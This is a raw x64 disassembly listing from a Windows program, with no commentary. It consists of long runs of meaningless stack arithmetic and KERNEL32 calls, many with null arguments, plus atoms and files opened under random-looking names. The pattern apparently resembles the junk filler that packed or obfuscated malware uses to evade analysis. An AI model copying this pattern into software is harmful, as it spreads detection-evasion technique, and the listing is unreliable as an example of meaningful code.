mov dword [rsp + 0x68f0], eax
mov rax, qword [0x1401c8f38]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xe690]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xd1c0], rax
lea rcx, [rsp + 0x1d728]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov rax, qword [rsp + 0xe2d0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa138]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xbd48], rax
movsx eax, word [rsp + 0x2340]
mov rcx, qword [rsp + 0xcf00]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x1401c8db0], ax
movzx ecx, word [rsp + 0x2558]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x26ec], ax
lea rcx, [rsp + 0x20c08]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
movzx ecx, word [rsp + 0x24f4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2588], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PulseEvent]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xec90], rax
movzx ecx, word [rsp + 0x21e4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x24e4], ax
movzx eax, word [rsp + 0x2474]
mov rcx, qword [rsp + 0xc838]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x21f8], ax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6794], eax
mov rax, qword [rsp + 0xddd8]
movzx eax, byte [rax]
mov byte [rsp + 0x42b], al
mov rax, qword [rsp + 0xe350]
mov rcx, qword [rsp + 0xe778]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x5a24], eax
mov rax, qword [rsp + 0x9b48]
movzx ecx, al
mov rax, qword [rsp + 0xb578]
shl rax, cl
mov qword [rsp + 0xa338], rax
mov rax, qword [rsp + 0xcea8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xd240]
shr rax, cl
mov qword [rsp + 0xe768], rax
mov rax, qword [rsp + 0xd6e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5d24]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x659c], eax
lea rcx, str.Xmfa8_Y2nhM_jwYcp
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x27b8], ax
mov r9d, 0x6b
xor r8d, r8d
lea rdx, [rsp + 0xe2f8]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x6680], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushViewOfFile]
movzx ecx, word [rsp + 0x1f40]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x27bc], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodePointer]
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x6808], eax
mov rcx, qword [rsp + 0xd5f0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x6428], eax
lea rax, [rsp + 0x3e6]
mov qword [rsp + 0xec98], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xde50]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xe940]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xdf60]
mov word [rcx], ax
movzx eax, word [rsp + 0x1f3c]
mov word [0x1401c8f70], ax
mov rax, qword [rsp + 0xaeb8]
mov qword [rsp + 0xeca0], rax
mov rcx, qword [rsp + 0xd838]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodePointer]
movzx ecx, word [rsp + 0x2710]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x24e4], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rcx, qword [rsp + 0xe7a0]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rcx, [rsp + 0x200c8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov edx, 0x2302
mov rcx, qword [rsp + 0xd0b8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x6b34], eax
movzx eax, word [rsp + 0x2158]
movzx ecx, word [rsp + 0x1840]
sub eax, ecx
mov rcx, qword [rsp + 0xe610]
mov word [rcx], ax
mov rax, qword [rsp + 0xe670]
movsx eax, word [rax]
mov rcx, qword [0x1401c8e80]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1470], ax
mov rax, qword [rsp + 0xdde0]
mov rax, qword [rax]
mov qword [rsp + 0xeca8], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnWire]
mov rcx, qword [rsp + 0xdf28]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0xc720]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x29f]
add eax, ecx
mov byte [rsp + 0x415], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindNextChangeNotification]
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetWriteWatch]
mov rax, qword [rsp + 0xd458]
mov ecx, dword [0x1401c8e40]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6104], eax
lea rcx, [rsp + 0x1d9d0]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
mov rax, qword [rsp + 0xcea8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc1a0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xdfc8], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x6a70], eax
lea rcx, [rsp + 0x20908]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0xda68]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xeba0]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xcd00]
mov word [rcx], ax
mov rax, qword [rsp + 0xd370]
mov rcx, qword [0x1401c7260]
xor rcx, rax
mov rax, rcx
mov rcx, qword [0x1401c8f10]
mov qword [rcx], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnWire]
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x6b38], eax
movzx eax, byte [rsp + 0x394]
mov byte [rsp + 0x42c], al
mov rax, qword [rsp + 0xe1a8]
mov ecx, dword [rsp + 0x6990]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x59e0], eax
mov rax, qword [rsp + 0xc408]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc1c0]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1190], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommError]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xe860], rax
lea rcx, [rsp + 0x20368]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_TransmitCommChar]
lea rcx, [rsp + 0x20c38]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rcx, qword [rsp + 0xc890]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xd010], rax
mov rax, qword [rsp + 0xe500]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x248c]
sar eax, cl
mov word [rsp + 0x2284], ax
lea rcx, str.BJ6x_NNfhgMFQ
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x25fc], ax
movsx eax, byte [rsp + 0x3e9]
mov rcx, qword [rsp + 0xe7b8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x21c], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rax, [rsp + 0x6154]
mov qword [rsp + 0xecb0], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodeSystemPointer]
mov rax, qword [rsp + 0x95b8]
mov rcx, qword [rsp + 0xe8e0]
mov qword [rsp + 0xecb8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xecb8]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xbab8], rax
lea rax, [rsp + 0x196c]
mov qword [rsp + 0xecc0], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xe5e8], rax
movzx eax, word [rsp + 0x910]
movzx ecx, word [rsp + 0x24b0]
shl eax, cl
mov word [0x1401c71cc], ax
mov rax, qword [rsp + 0xeb58]
mov rcx, qword [rsp + 0xe710]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xa1e0], rax
mov rax, qword [rsp + 0xd980]
mov rax, qword [rax]
mov qword [rsp + 0xecc8], rax
lea rcx, [rsp + 0x20b78]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0xcda0]
mov rcx, qword [rsp + 0xd560]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xc620], rax
movsx eax, word [rsp + 0x1130]
movsx ecx, word [rsp + 0x1b38]
sub eax, ecx
mov rcx, qword [rsp + 0xd068]
mov word [rcx], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushViewOfFile]
lea rcx, [rsp + 0x20c68]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateTapePartition]
mov rax, qword [0x1401c8ca8]
movzx eax, byte [rax]
mov byte [rsp + 0x42d], al
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xd698], rax
mov rax, qword [rsp + 0xdc20]
mov rcx, qword [rsp + 0xdde8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xea48], rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov rax, qword [rsp + 0xda18]
mov ecx, dword [0x1401c8a18]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x56e0], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x6528], eax
lea rcx, [rsp + 0x20c98]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0xe3c0]
movzx eax, byte [rax]
cdq
mov ecx, 0xe7
idiv ecx
mov byte [rsp + 0x3d7], al
mov rax, qword [rsp + 0xd750]
mov ecx, dword [rsp + 0x61b8]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x6770], eax
lea rcx, [rsp + 0x1d750]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
movsx eax, word [rsp + 0x23c0]
movsx ecx, word [rsp + 0x1994]
or eax, ecx
mov word [0x1401c7288], ax
movzx ecx, word [rsp + 0x2468]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2530], ax
mov rax, qword [rsp + 0xd788]
movzx eax, word [rax]
mov word [rsp + 0x27c0], ax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x6b3c], eax
lea rcx, [rsp + 0x1ff48]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0xc4a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xe310]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1cd4], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnfix]
mov rax, qword [rsp + 0xd488]
mov rax, qword [rax]
mov rcx, qword [0x1401c8e18]
mov qword [rsp + 0xecd0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xecd0]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xae08], rax
lea rdx, [rsp + 0x26728]
mov rcx, qword [rsp + 0xc8a0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x6b40], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x64c4], eax
movzx ecx, word [rsp + 0x2270]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2468], ax
mov rax, qword [rsp + 0xca90]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x3bd]
sub eax, ecx
mov byte [rsp + 0x3f5], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xecd8], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x6450], eax
lea rcx, [rsp + 0x201e8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
mov rax, qword [rsp + 0xd458]
mov rcx, qword [rsp + 0xd710]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5d4c], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xb710]
mov qword [rsp + 0xece0], rax
mov rax, qword [rsp + 0xce88]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xe940]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xdb20]
mov word [rcx], ax
mov rcx, qword [rsp + 0xdb78]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [0x1401c8bd0]
movzx eax, word [rax]
mov word [rsp + 0x27c4], ax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6474], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMessageWaitingIndicator]
lea rcx, [rsp + 0x1d7a0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rax, qword [rsp + 0xdb50]
mov qword [0x1401c8f78], rax
movzx eax, word [rsp + 0x2380]
movzx ecx, word [rsp + 0x25b0]
or eax, ecx
mov word [rsp + 0x2054], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 1
mov edx, 0x40000000
lea rcx, str.9X4rxLKIUxE73mmLVPjbw
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xece8], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6648], eax
lea rdx, [rsp + 0x26178]
mov rcx, qword [rsp + 0xc7a8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x6758], eax
lea rax, [rsp + 0x96c0]
mov qword [rsp + 0xecf0], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xecf8], rax
lea rcx, [rsp + 0x1d6d8]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov rcx, qword [rsp + 0xd798]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x66f0], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x100
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 8
mov edx, 0x80000000
lea rcx, str.EWSYZqplfjSBGTIGh7MhIsN
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xed00], rax
mov rax, qword [rsp + 0xe088]
mov rcx, qword [rsp + 0xc3c8]
mov qword [rsp + 0xed08], rcx
movzx ecx, al
mov rax, qword [rsp + 0xed08]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xc388], rax
mov rax, qword [rsp + 0xda58]
mov rcx, qword [rsp + 0xc9f8]
mov qword [rsp + 0xed10], rcx
movzx ecx, al
mov rax, qword [rsp + 0xed10]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xdac0], rax
mov eax, dword [rsp + 0x6138]
mov ecx, dword [rsp + 0x6b30]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6130], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x69d0], eax
movzx eax, byte [rsp + 0x427]
mov rcx, qword [rsp + 0xc438]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x429], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov rax, qword [rsp + 0xdf20]
mov eax, dword [rax]
mov dword [rsp + 0x6b44], eax
mov rax, qword [rsp + 0xe7b8]
movsx eax, byte [rax]
movsx ecx, byte [0x1401c8a17]
xor eax, ecx
mov byte [rsp + 0x3ea], al
mov rax, qword [rsp + 0xc7f8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1d3c]
and eax, ecx
mov rcx, qword [0x1401c8d38]
mov word [rcx], ax
movsx eax, word [rsp + 0x1d14]
movsx ecx, word [rsp + 0x2118]
shl eax, cl
mov word [rsp + 0x2130], ax
mov rax, qword [rsp + 0xde40]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xe640]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xb1c], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xda40], rax
mov rax, qword [rsp + 0xc9a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xe750]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xb1c], ax
mov rax, qword [rsp + 0xe7e0]
mov rax, qword [rax]
mov qword [rsp + 0xed18], rax
mov rax, qword [rsp + 0xc570]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6a38]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6130], eax
mov rax, qword [rsp + 0xdd18]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xc610]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x390], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitAtomTable]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx eax, word [0x1401c8e2c]
mov word [rsp + 0x27c8], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov rax, qword [rsp + 0xe500]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1fd0]
add eax, ecx
mov word [rsp + 0x1ef8], ax
mov rax, qword [rsp + 0xdbb8]
mov rcx, qword [rsp + 0x9ae8]
mov rax, qword [rax]
sub rax, rcx
mov qword [str.2_rC], rax
lea rcx, [rsp + 0x20668]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6628], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov rax, qword [rsp + 0xe268]
mov rcx, qword [0x1401c8ec8]
mov qword [rsp + 0xed20], rcx
movzx ecx, al
mov rax, qword [rsp + 0xed20]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xb1c8], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xed28], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalCompact]
mov rax, qword [rsp + 0xe850]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xea58]
mov qword [rsp + 0xed30], rcx
movzx ecx, al
mov rax, qword [rsp + 0xed30]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xeca8], rax
mov rax, qword [0x1401c8ec8]
mov rcx, qword [rsp + 0xe508]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xe020], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xe0f8], rax
lea rax, [rsp + 0x2604]
mov qword [rsp + 0xed38], rax
movzx eax, byte [rsp + 0x429]
movzx ecx, byte [rsp + 0x3f3]
add eax, ecx
mov byte [rsp + 0x2d8], al
mov rcx, qword [rsp + 0xcc10]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov eax, dword [0x1401c8a1c]
mov dword [rsp + 0x6b48], eax
lea rdx, [rsp + 0x26178]
mov rcx, qword [rsp + 0xe650]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x6b4c], eax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetMailslotInfo]
movsx eax, byte [rsp + 0x2c2]
mov rcx, qword [rsp + 0xec60]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x3fc], al
movzx ecx, word [rsp + 0x1f64]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x27cc], ax
lea rdx, [rsp + 0x26220]
mov rcx, qword [rsp + 0xec08]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x6b2c], eax
movzx ecx, word [rsp + 0x24fc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x27d0], ax
lea rax, [rsp + 0x66d4]
mov qword [rsp + 0xed40], rax
lea rcx, [rsp + 0x205d8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0xd418]
mov rcx, qword [rsp + 0xcd28]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [0x1401c7290], rax
movsx eax, word [rsp + 0xf44]
movsx ecx, word [rsp + 0x12c8]
xor eax, ecx
mov word [rsp + 0x1b04], ax
mov rax, qword [rsp + 0xdab0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1d58]
sub eax, ecx
mov rcx, qword [rsp + 0xcd98]
mov word [rcx], ax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeInfo]
movzx ecx, word [rsp + 0x20f8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x256c], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xed48], rax
mov rax, qword [0x1401c8e70]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd578]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1294], ax
mov rax, qword [rsp + 0xdd10]
movzx ecx, al
mov rax, qword [rsp + 0xdc18]
shl rax, cl
mov qword [rsp + 0xc5a0], rax
mov r9d, 2
lea r8, [rsp + 0xd9a0]
mov rdx, qword [rsp + 0xdd40]
mov rcx, qword [rsp + 0xe938]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x67c4], eax
lea rcx, [rsp + 0x1d6d8]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [rsp + 0x64c0]
mov dword [rsp + 0x6b50], eax
mov rax, qword [rsp + 0xe030]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9d60]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xd9b8], rax
lea rcx, [0x1401ae698]
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x27d4], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EscapeCommFunction]
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x6834], eax
mov rax, qword [rsp + 0xde08]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xca30]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x41f], al
mov rcx, qword [rsp + 0xcab8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x6b54], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalCompact]
mov rax, qword [rsp + 0xe6c0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xdfb0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xe7c], ax
mov edx, 0x1e3b
mov rcx, qword [rsp + 0xe3a0]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x62b8], eax
mov rax, qword [rsp + 0xd4d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1678]
add eax, ecx
mov rcx, qword [0x1401c8df8]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x683c], eax
mov rax, qword [rsp + 0xc3c8]
mov rcx, qword [rsp + 0xce28]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xa9a0], rax
lea rax, [rsp + 0x22a4]
mov qword [rsp + 0xed50], rax
mov rax, qword [rsp + 0xcb48]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x6734]
sar eax, cl
mov dword [rsp + 0x66a4], eax
mov rax, qword [rsp + 0xdb60]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xd008]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x221], al
mov eax, dword [rsp + 0x5ddc]
mov dword [rsp + 0x6b58], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rdx, [rsp + 0x26290]
mov rcx, qword [rsp + 0xd480]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x6828], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PrepareTape]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xed58], rax
mov edx, 0x2495
mov rcx, qword [rsp + 0xc418]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x6a2c], eax
mov rax, qword [rsp + 0xc9d8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x385]
or eax, ecx
mov byte [rsp + 0x3e6], al
mov rcx, qword [rsp + 0xec40]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMessageWaitingIndicator]
lea rax, [rsp + 0xe838]
mov qword [rsp + 0xed60], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [0x1401c8e80]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc1c0]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x207c], ax
lea rcx, [rsp + 0x1d930]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
movzx eax, word [rsp + 0x2044]
mov word [0x1401c8f80], ax
mov rax, qword [rsp + 0xd410]
mov qword [rsp + 0xed68], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeInfo]
mov rax, qword [0x1401c8a90]
mov rcx, qword [rsp + 0xd328]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xe088], rax
mov rax, qword [rsp + 0xeb20]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1cfc]
sub eax, ecx
mov word [rsp + 0x1de0], ax
lea rax, [rsp + 0xaa0]
mov qword [rsp + 0xed70], rax
lea rcx, [rsp + 0x1d4d0]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
imul eax, dword [0x1401c715c], 0x2d55
mov dword [rsp + 0x64ac], eax
mov rax, qword [rsp + 0xc3a8]
imul rax, qword [rsp + 0xdd28]
mov qword [rsp + 0xa9f8], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 8
mov edx, 0x80000000
lea rcx, str.YyXd2Fd4YaI
call qword [sym.imp.KERNEL32.dll_CreateFileW]
